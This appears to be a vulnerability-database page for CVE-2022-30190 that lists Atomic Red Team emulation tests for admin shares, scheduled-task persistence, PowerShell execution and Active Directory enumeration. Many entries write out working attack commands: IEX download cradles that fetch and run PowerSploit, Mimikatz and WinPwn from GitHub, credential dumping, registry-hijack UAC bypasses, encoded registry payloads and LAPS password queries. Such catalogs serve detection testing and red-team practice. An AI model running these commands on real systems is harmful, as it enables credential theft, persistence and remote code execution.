T1021.002 Execute command writing output to local Admin Share Windows CMD Privileged
Executes a command, writing the output to a local Admin Share. This technique is used by post-exploitation frameworks.
Command (CMD)
cmd.exe /Q /c #{command_to_execute} 1> \\127.0.0.1\ADMIN$\#{output_file} 2>&1
T1021.002 Map Admin Share PowerShell Windows PowerShell
Map Admin share utilizing PowerShell
Command (PowerShell)
New-PSDrive -name #{map_name} -psprovider filesystem -root \\#{computer_name}\#{share_name}
T1021.002 Map admin share Windows CMD
Connecting To Remote Shares
Command (CMD)
cmd.exe /c "net use \\#{computer_name}\#{share_name} #{password} /u:#{user_name}"
T1053.005 Import XML Schedule Task with Hidden Attribute Windows PowerShell Privileged
Create an scheduled task that executes calc.exe after user login from XML that contains hidden setting attribute. This technique was seen several times in tricbot malware and also with the targetted attack campaigne the industroyer2.
Command (PowerShell)
$xml = [System.IO.File]::ReadAllText("#{xml_path}")
Invoke-CimMethod -ClassName PS_ScheduledTask -NameSpace "Root\Microsoft\Windows\TaskScheduler" -MethodName "RegisterByXml" -Arguments @{ Force = $true; Xml =$xml; }
T1053.005 PowerShell Modify A Scheduled Task Windows PowerShell
Create a scheduled task with an action and modify the action to do something else. The initial idea is to showcase Microsoft Windows TaskScheduler Operational log modification of an action on a Task already registered. It will first be created to spawn cmd.exe, but modified...
Command (PowerShell)
$Action = New-ScheduledTaskAction -Execute "cmd.exe"
$Trigger = New-ScheduledTaskTrigger -AtLogon
$User = New-ScheduledTaskPrincipal -GroupId "BUILTIN\Administrators" -RunLevel Highest
$Set = New-ScheduledTaskSettingsSet
$object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set
Register-ScheduledTask AtomicTaskModifed -InputObject $object
$NewAction = New-ScheduledTaskAction -Execute "Notepad.exe"
Set-ScheduledTask "AtomicTaskModifed" -Action $NewAction
T1053.005 Powershell Cmdlet Scheduled Task Windows PowerShell
Create an atomic scheduled task that leverages native powershell cmdlets. Upon successful execution, powershell.exe will create a scheduled task to spawn cmd.exe at 20:10.
Command (PowerShell)
$Action = New-ScheduledTaskAction -Execute "calc.exe"
$Trigger = New-ScheduledTaskTrigger -AtLogon
$User = New-ScheduledTaskPrincipal -GroupId "BUILTIN\Administrators" -RunLevel Highest
$Set = New-ScheduledTaskSettingsSet
$object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set
Register-ScheduledTask AtomicTask -InputObject $object
T1053.005 Scheduled Task ("Ghost Task") via Registry Key Manipulation Windows CMD Privileged
Create a scheduled task through manipulation of registry keys. This procedure is implemented using the [GhostTask](https://github.com/netero1010/GhostTask) utility. By manipulating registry keys under HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree,...
Command (CMD)
"PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" \\#{target} -accepteula -s "cmd.exe"
"PathToAtomicsFolder\..\ExternalPayloads\GhostTask.exe" \\#{target} add #{task_name} "cmd.exe" "/c #{task_command}" #{user_name} logon
T1053.005 Scheduled Task Executing Base64 Encoded Commands From Registry Windows CMD
A Base64 Encoded command will be stored in the registry (ping 127.0.0.1) and then a scheduled task will be created. The scheduled task will launch powershell to decode and run the command in the registry daily. This is a persistence mechanism recently seen in use by Qakbot. ...
Command (CMD)
reg add HKCU\SOFTWARE\ATOMIC-T1053.005 /v test /t REG_SZ /d cGluZyAxMjcuMC4wLjE= /f
schtasks.exe /Create /F /TN "ATOMIC-T1053.005" /TR "cmd /c start /min \"\" powershell.exe -Command IEX([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String((Get-ItemProperty -Path HKCU:\\SOFTWARE\\ATOMIC-T1053.005).test)))" /sc daily /st #{time}
T1053.005 Scheduled Task Persistence via CompMgmt.msc Windows CMD Privileged
Adds persistence by abusing `compmgmt.msc` via a scheduled task. When the Computer Management console is opened, it will run a malicious payload (in this case, `calc.exe`). This technique abuses scheduled tasks and registry modifications to hijack legitimate system processes.
Command (CMD)
reg add "HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command" /ve /t REG_EXPAND_SZ /d "c:\windows\System32\#{payload}" /f
schtasks /Create /TN "#{task_name}" /TR "compmgmt.msc" /SC ONLOGON /RL HIGHEST /F
ECHO Let's open the Computer Management console now...
compmgmt.msc
T1053.005 Scheduled Task Persistence via Eventviewer.msc Windows CMD Privileged
Adds persistence by abusing `eventviewer.msc` via a scheduled task. When the eventviewer console is opened, it will run a malicious payload (in this case, `calc.exe`).
Command (CMD)
reg add "HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command" /ve /t REG_EXPAND_SZ /d "c:\windows\System32\#{payload}" /f
schtasks /Create /TN "#{task_name}" /TR "eventvwr.msc" /SC ONLOGON /RL HIGHEST /F
ECHO Let's run the schedule task ...
schtasks /Run /TN "EventViewerBypass"
T1053.005 Scheduled Task Startup Script Windows CMD Privileged
Run an exe on user logon or system startup. Upon execution, success messages will be displayed for the two scheduled tasks. To view the tasks, open the Task Scheduler and look in the Active Tasks pane.
Command (CMD)
schtasks /create /tn "T1053_005_OnLogon" /sc onlogon /tr "cmd.exe /c calc.exe"
schtasks /create /tn "T1053_005_OnStartup" /sc onstart /ru system /tr "cmd.exe /c calc.exe"
T1053.005 Scheduled task Local Windows CMD
Upon successful execution, cmd.exe will create a scheduled task to spawn cmd.exe at 20:10.
Command (CMD)
SCHTASKS /Create /SC ONCE /TN spawn /TR #{task_command} /ST #{time}
T1053.005 Scheduled task Remote Windows CMD Privileged
Create a task on a remote system. Upon successful execution, cmd.exe will create a scheduled task to spawn cmd.exe at 20:10 on a remote endpoint.
Command (CMD)
SCHTASKS /Create /S #{target} /RU #{user_name} /RP #{password} /TN "Atomic task" /TR "#{task_command}" /SC daily /ST #{time}
T1053.005 Task Scheduler via VBA Windows PowerShell
This module utilizes the Windows API to schedule a task for code execution (notepad.exe). The task scheduler will execute "notepad.exe" within 30 - 40 seconds after this module has run
Command (PowerShell)
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing) 
Invoke-MalDoc -macroFile "PathToAtomicsFolder\T1053.005\src\T1053.005-macrocode.txt" -officeProduct "#{ms_product}" -sub "Scheduler"
T1053.005 WMI Invoke-CimMethod Scheduled Task Windows PowerShell Privileged
Create an scheduled task that executes notepad.exe after user login from XML by leveraging WMI class PS_ScheduledTask. Does the same thing as Register-ScheduledTask cmdlet behind the scenes.
Command (PowerShell)
$xml = [System.IO.File]::ReadAllText("#{xml_path}")
Invoke-CimMethod -ClassName PS_ScheduledTask -NameSpace "Root\Microsoft\Windows\TaskScheduler" -MethodName "RegisterByXml" -Arguments @{ Force = $true; Xml =$xml; }
T1059.001 ATHPowerShellCommandLineParameter -Command parameter variations Windows PowerShell
Executes powershell.exe with variations of the -Command parameter
Command (PowerShell)
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -Execute -ErrorAction Stop
T1059.001 ATHPowerShellCommandLineParameter -Command parameter variations with encoded arguments Windows PowerShell
Executes powershell.exe with variations of the -Command parameter with encoded arguments supplied
Command (PowerShell)
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
T1059.001 ATHPowerShellCommandLineParameter -EncodedCommand parameter variations Windows PowerShell
Executes powershell.exe with variations of the -EncodedCommand parameter
Command (PowerShell)
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -Execute -ErrorAction Stop
T1059.001 ATHPowerShellCommandLineParameter -EncodedCommand parameter variations with encoded arguments Windows PowerShell
Executes powershell.exe with variations of the -EncodedCommand parameter with encoded arguments supplied
Command (PowerShell)
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
T1059.001 Abuse Nslookup with DNS Records Windows PowerShell
Red teamer's avoid IEX and Invoke-WebRequest in your PowerShell commands. Instead, host a text record with a payload to compromise hosts. [reference](https://twitter.com/jstrosch/status/1237382986557001729)
Command (PowerShell)
# creating a custom nslookup function that will indeed call nslookup but forces the result to be "whoami"
# this would not be part of a real attack but helpful for this simulation
function nslookup  { &"$env:windir\system32\nslookup.exe" @args | Out-Null; @("","whoami")}
powershell .(nslookup -q=txt example.com 8.8.8.8)[-1]
T1059.001 Invoke-AppPathBypass Windows CMD
Note: Windows 10 only. Upon execution windows backup and restore window will be opened. Bypass is based on: https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/
Command (CMD)
Powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/a0dfca7056ef20295b156b8207480dc2465f94c3/Invoke-AppPathBypass.ps1'); Invoke-AppPathBypass -Payload 'C:\Windows\System32\cmd.exe'"
T1059.001 Mimikatz Windows CMD Privileged
Download Mimikatz and dump credentials. Upon execution, mimikatz dump details and password hashes will be displayed.
Command (CMD)
powershell.exe "IEX (New-Object Net.WebClient).DownloadString('#{mimurl}'); Invoke-Mimikatz -DumpCreds"
T1059.001 Mimikatz - Cradlecraft PsSendKeys Windows PowerShell Privileged
Run mimikatz via PsSendKeys. Upon execution, automated actions will take place to open file explorer, open notepad and input code, then mimikatz dump info will be displayed.
Command (PowerShell)
$url='https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1';$wshell=New-Object -ComObject WScript.Shell;$reg='HKCU:\Software\Microsoft\Notepad';$app='Notepad';$props=(Get-ItemProperty $reg);[Void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');@(@('iWindowPosY',([String]([System.Windows.Forms.Screen]::AllScreens)).Split('}')[0].Split('=')[5]),@('StatusBar',0))|ForEach{SP $reg (Item Variable:_).Value[0] (Variable _).Value[1]};$curpid=$wshell.Exec($app).ProcessID;While(!($title=GPS|?{(Item Variable:_).Value.id-ieq$curpid}|ForEach{(Variable _).Value.MainWindowTitle})){Start-Sleep -Milliseconds 500};While(!$wshell.AppActivate($title)){Start-Sleep -Milliseconds 500};$wshell.SendKeys('^o');Start-Sleep -Milliseconds 500;@($url,(' '*1000),'~')|ForEach{$wshell.SendKeys((Variable _).Value)};$res=$Null;While($res.Length -lt 2){[Windows.Forms.Clipboard]::Clear();@('^a','^c')|ForEach{$wshell.SendKeys((Item Variable:_).Value)};Start-Sleep -Milliseconds 500;$res=([Windows.Forms.Clipboard]::GetText())};[Windows.Forms.Clipboard]::Clear();@('%f','x')|ForEach{$wshell.SendKeys((Variable _).Value)};If(GPS|?{(Item Variable:_).Value.id-ieq$curpid}){@('{TAB}','~')|ForEach{$wshell.SendKeys((Item Variable:_).Value)}};@('iWindowPosDY','iWindowPosDX','iWindowPosY','iWindowPosX','StatusBar')|ForEach{SP $reg (Item Variable:_).Value $props.((Variable _).Value)};IEX($res);invoke-mimikatz -dumpcr
T1059.001 NTFS Alternate Data Stream Access Windows PowerShell
Creates a file with an alternate data stream and simulates executing that hidden code/file. Upon execution, "Stream Data Executed" will be displayed.
Command (PowerShell)
Add-Content -Path #{ads_file} -Value 'Write-Host "Stream Data Executed"' -Stream 'streamCommand'
$streamcommand = Get-Content -Path #{ads_file} -Stream 'streamcommand'
Invoke-Expression $streamcommand
T1059.001 PowerShell Command Execution Windows CMD
Use of obfuscated PowerShell to execute an arbitrary command; outputs "Hello, from PowerShell!". Example is from the 2021 Threat Detection Report by Red Canary.
Command (CMD)
powershell.exe -e  #{obfuscated_code}
T1059.001 PowerShell Fileless Script Execution Windows PowerShell
Execution of a PowerShell payload from the Windows Registry similar to that seen in fileless malware infections. Upon exection, open "C:\Windows\Temp" and verify that art-marker.txt is in the folder.
Command (PowerShell)
# Encoded payload in next command is the following "Set-Content -path "$env:SystemRoot/Temp/art-marker.txt" -value "Hello from the Atomic Red Team""
reg.exe add "HKEY_CURRENT_USER\Software\Classes\AtomicRedTeam" /v ART /t REG_SZ /d "U2V0LUNvbnRlbnQgLXBhdGggIiRlbnY6U3lzdGVtUm9vdC9UZW1wL2FydC1tYXJrZXIudHh0IiAtdmFsdWUgIkhlbGxvIGZyb20gdGhlIEF0b21pYyBSZWQgVGVhbSI=" /f
iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\AtomicRedTeam').ART)))
T1059.001 PowerShell Invoke Known Malicious Cmdlets Windows PowerShell Privileged
Powershell execution of known Malicious PowerShell Cmdlets
Command (PowerShell)
$malcmdlets = #{Malicious_cmdlets}
foreach ($cmdlets in $malcmdlets) {
    "function $cmdlets { Write-Host Pretending to invoke $cmdlets }"}
foreach ($cmdlets in $malcmdlets) {
    $cmdlets}
T1059.001 PowerShell Session Creation and Use Windows PowerShell Privileged
Connect to a remote powershell session and interact with the host. Upon execution, network test info and 'T1086 PowerShell Session Creation and Use' will be displayed.
Command (PowerShell)
New-PSSession -ComputerName #{hostname_to_connect}
Test-Connection $env:COMPUTERNAME
Set-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use -Value "T1086 PowerShell Session Creation and Use"
Get-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
Remove-Item -Force $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
T1059.001 PowerUp Invoke-AllChecks Windows PowerShell
Check for privilege escalation paths using PowerUp from PowerShellMafia
Command (PowerShell)
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
iex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)
Invoke-AllChecks
T1059.001 Powershell Invoke-DownloadCradle Windows Manual
Provided by https://github.com/mgreen27/mgreen27.github.io Invoke-DownloadCradle is used to generate Network and Endpoint artifacts.
T1059.001 Powershell MsXml COM object - with prompt Windows CMD
Powershell MsXml COM object. Not proxy aware, removing cache although does not appear to write to those locations. Upon execution, "Download Cradle test success!" will be displayed. Provided by https://github.com/mgreen27/mgreen27.github.io
Command (CMD)
powershell.exe -exec bypass -noprofile "$comMsXml=New-Object -ComObject MsXml2.ServerXmlHttp;$comMsXml.Open('GET','#{url}',$False);$comMsXml.Send();IEX $comMsXml.ResponseText"
T1059.001 Powershell XML requests Windows CMD
Powershell xml download request. Upon execution, "Download Cradle test success!" will be dispalyed. Provided by https://github.com/mgreen27/mgreen27.github.io
Command (CMD)
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -noprofile "$Xml = (New-Object System.Xml.XmlDocument);$Xml.Load('#{url}');$Xml.command.a.execute | IEX"
T1059.001 Powershell invoke mshta.exe download Windows CMD
Powershell invoke mshta to download payload. Upon execution, a new PowerShell window will be opened which will display "Download Cradle test success!". Provided by https://github.com/mgreen27/mgreen27.github.io
Command (CMD)
C:\Windows\system32\cmd.exe /c "mshta.exe javascript:a=GetObject('script:#{url}').Exec();close()"
T1059.001 Run BloodHound from local disk Windows PowerShell
Upon execution SharpHound will be downloaded to disk, imported and executed. It will set up collection methods, run and then compress and store the data to the temp directory on the machine. If system is unable to contact a domain, proper execution will not occur. Successful...
Command (PowerShell)
import-module "PathToAtomicsFolder\..\ExternalPayloads\SharpHound.ps1"
try { Invoke-BloodHound -OutputDirectory $env:Temp }
catch { $_; exit $_.Exception.HResult}
Start-Sleep 5
T1059.001 Run Bloodhound from Memory using Download Cradle Windows PowerShell
Upon execution SharpHound will load into memory and execute against a domain. It will set up collection methods, run and then compress and store the data to the temp directory. If system is unable to contact a domain, proper execution will not occur. Successful execution...
Command (PowerShell)
write-host "Remote download of SharpHound.ps1 into memory, followed by execution of the script" -ForegroundColor Cyan
IEX (New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cfa7f2b4a566a14e2/Ingestors/SharpHound.ps1');
Invoke-BloodHound -OutputDirectory $env:Temp
Start-Sleep 5
T1059.001 SOAPHound - Build Cache Windows PowerShell
Build cache using SOAPHound. Upon execution, a cache will be built and stored in the specified cache filename. src: https://github.com/FalconForceTeam/SOAPHound
Command (PowerShell)
#{soaphound_path} --user $(#{user})@$(#{domain}) --password #{password} --dc #{dc} --buildcache --cachefilename #{cachefilename}
T1059.001 SOAPHound - Dump BloodHound Data Windows PowerShell
Dump BloodHound data using SOAPHound. Upon execution, BloodHound data will be dumped and stored in the specified output directory. src: https://github.com/FalconForceTeam/SOAPHound
Command (PowerShell)
#{soaphound_path} --user #{user} --password #{password} --domain #{domain} --dc #{dc} --bhdump --cachefilename #{cachefilename} --outputdirectory #{outputdirectory}
T1087.002 Account Enumeration with LDAPDomainDump Linux Shell
This test uses LDAPDomainDump to perform account enumeration on a domain. [Reference](https://securityonline.info/ldapdomaindump-active-directory-information-dumper-via-ldap/)
Command (Shell)
ldapdomaindump -u #{username} -p #{password} #{target_ip} -o /tmp/T1087
T1087.002 Active Directory Domain Search Linux Shell
Output information from LDAPSearch. LDAP Password is the admin-user password on Active Directory
Command (Shell)
ldapsearch -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{user} -w #{password} -b "CN=Users,DC=#{domain},DC=#{top_level_domain}" -s sub -a always -z 1000 dn
T1087.002 Adfind - Enumerate Active Directory Admins Windows CMD
Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Admin accounts reference- http://www.joeware.net/freetools/tools/adfind/,...
Command (CMD)
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc admincountdmp #{optional_args}
T1087.002 Adfind - Enumerate Active Directory Exchange AD Objects Windows CMD
Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Exchange Objects reference- http://www.joeware.net/freetools/tools/adfind/,...
Command (CMD)
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc exchaddresses #{optional_args}
T1087.002 Adfind - Enumerate Active Directory User Objects Windows CMD
Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory User Objects reference- http://www.joeware.net/freetools/tools/adfind/,...
Command (CMD)
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -f (objectcategory=person) #{optional_args}
T1087.002 Adfind -Listing password policy Windows CMD
Adfind tool can be used for reconnaissance in an Active directory environment. The example chosen illustrates adfind used to query the local password policy. reference- http://www.joeware.net/freetools/tools/adfind/,...
Command (CMD)
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -default -s base lockoutduration lockoutthreshold lockoutobservationwindow maxpwdage minpwdage minpwdlength pwdhistorylength pwdproperties
T1087.002 Automated AD Recon (ADRecon) Windows PowerShell
ADRecon extracts and combines information about an AD environement into a report. Upon execution, an Excel file with all of the data will be generated and its path will be displayed.
Command (PowerShell)
Invoke-Expression "#{adrecon_path}"
T1087.002 Enumerate Active Directory Users with ADSISearcher Windows PowerShell
The following Atomic test will utilize ADSISearcher to enumerate users within Active Directory. Upon successful execution a listing of users will output with their paths in AD. Reference:...
Command (PowerShell)
([adsisearcher]"objectcategory=user").FindAll(); ([adsisearcher]"objectcategory=user").FindOne()
T1087.002 Enumerate Active Directory for Unconstrained Delegation Windows PowerShell
Attackers may attempt to query for computer objects with the UserAccountControl property 'TRUSTED_FOR_DELEGATION' (0x80000;524288) set More Information -...
Command (PowerShell)
Get-ADObject -LDAPFilter '(UserAccountControl:1.2.840.113556.1.4.803:=#{uac_prop})' -Server #{domain}
T1087.002 Enumerate Default Domain Admin Details (Domain) Windows CMD
This test will enumerate the details of the built-in domain admin account
Command (CMD)
net user administrator /domain
T1087.002 Enumerate Linked Policies In ADSISearcher Discovery Windows PowerShell
The following Atomic test will utilize ADSISearcher to enumerate organizational unit within Active Directory. Upon successful execution a listing of users will output with their paths in AD. Reference:...
Command (PowerShell)
(([adsisearcher]'(objectcategory=organizationalunit)').FindAll()).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] OU Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
T1087.002 Enumerate Root Domain linked policies Discovery Windows PowerShell
The following Atomic test will utilize ADSISearcher to enumerate root domain unit within Active Directory. Upon successful execution a listing of users will output with their paths in AD. Reference:...
Command (PowerShell)
(([adsisearcher]'').SearchRooT).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] Domain Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
T1087.002 Enumerate all accounts (Domain) Windows CMD
Enumerate all accounts Upon exection, multiple enumeration commands will be run and their output displayed in the PowerShell session
Command (CMD)
net user /domain
net group /domain
T1087.002 Enumerate all accounts via PowerShell (Domain) Windows PowerShell
Enumerate all accounts via PowerShell. Upon execution, lots of user account and group information will be displayed.
Command (PowerShell)
net user /domain
get-localgroupmember -group Users
get-aduser -filter *
T1087.002 Enumerate logged on users via CMD (Domain) Windows CMD
Enumerate logged on users. Upon exeuction, logged on users will be displayed.
Command (CMD)
query user /SERVER:#{computer_name}
T1087.002 Get-DomainUser with PowerView Windows PowerShell
Utilizing PowerView, run Get-DomainUser to identify the domain users. Upon execution, Users within the domain will be listed.
Command (PowerShell)
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainUser -verbose
T1087.002 Kerbrute - userenum Windows PowerShell
Enumerates active directory usernames using the userenum function of Kerbrute
Command (PowerShell)
cd "PathToAtomicsFolder\..\ExternalPayloads"
.\kerbrute.exe userenum -d #{Domain} --dc #{DomainController} "PathToAtomicsFolder\..\ExternalPayloads\username.txt"
T1087.002 Suspicious LAPS Attributes Query with Get-ADComputer all properties Windows PowerShell
This test executes LDAP query using powershell command Get-ADComputer and lists all the properties including Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime
Command (PowerShell)
Get-ADComputer #{hostname} -Properties *
T1087.002 Suspicious LAPS Attributes Query with Get-ADComputer all properties and SearchScope Windows PowerShell
This test executes LDAP query using powershell command Get-ADComputer with SearchScope as subtree and lists all the properties including Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime
Command (PowerShell)
Get-adcomputer -SearchScope subtree -filter "name -like '*'" -Properties *
T1087.002 Suspicious LAPS Attributes Query with Get-ADComputer ms-Mcs-AdmPwd property Windows PowerShell
This test executes LDAP query using powershell command Get-ADComputer and lists Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime
Command (PowerShell)
Get-ADComputer #{hostname} -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
T1087.002 Suspicious LAPS Attributes Query with adfind all properties Windows PowerShell
This test executes LDAP query using adfind command and lists all the attributes including Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime
Command (PowerShell)
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" *
T1087.002 Suspicious LAPS Attributes Query with adfind ms-Mcs-AdmPwd Windows PowerShell
This test executes LDAP query using adfind command and lists Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime
Command (PowerShell)
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
T1087.002 Wevtutil - Discover NTLM Users Remote Windows PowerShell
This test discovers users who have authenticated against a Domain Controller via NTLM. This is done remotely via wmic and captures the event code 4776 from the domain controller and stores the ouput in C:\temp. [Reference](https://www.reliaquest.com/blog/socgholish-fakeupdates/)
Command (PowerShell)
$target = $env:LOGONSERVER
$target = $target.Trim("\\")
$IpAddress = [System.Net.Dns]::GetHostAddresses($target) | select IPAddressToString -ExpandProperty IPAddressToString
wmic.exe /node:$IpAddress process call create 'wevtutil epl Security C:\\ntlmusers.evtx /q:\"Event[System[(EventID=4776)]]"'
T1087.002 WinPwn - generaldomaininfo Windows PowerShell
Gathers general domain information using the generaldomaininfo function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
generaldomaininfo -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (5)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2022-30190
msrc.microsoft.com
GitHub CVE vendor-advisory
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-30190
packetstormsecurity.com
NVD API Exploit Third Party Advisory VDB Entry
http://packetstormsecurity.com/files/167438/Microsoft-Office-Word-MSDTJS-Code-Execution.html
portal.msrc.microsoft.com
NVD API Patch Vendor Advisory
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-30190
cisa.gov
NVD API US Government Resource
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2022-30190